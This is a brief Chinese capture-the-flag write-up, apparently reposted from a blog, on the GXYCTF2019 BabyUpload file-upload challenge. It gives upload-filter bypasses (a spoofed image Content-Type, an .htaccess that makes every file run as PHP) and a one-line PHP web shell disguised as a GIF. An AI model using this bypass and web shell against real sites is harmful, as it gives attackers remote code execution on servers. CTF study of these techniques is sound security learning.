[GXYCTF2019]BabyUpload

0x00 知识点

文件类型绕过:

Content-Type: image/jpeg

apache环境下上传.hatcess

首先上传一个.htaccess内容如下的文件
:SetHandler application/x-httpd-php

这样所有文件都会解析为php,然后再上传图片马,就可以解析

这里多说一下nginx我们可以尝试.ini配置文件:

文件名后缀不能是 ph 开头,文件内容过滤<?
长传这样的图片马:

GIF89a?
<script language="php">eval($_POST['a']);</script>

0x01 解题

emm简单测试一下就getshell了:

原文地址:https://www.cnblogs.com/wangtanzhi/p/12323313.html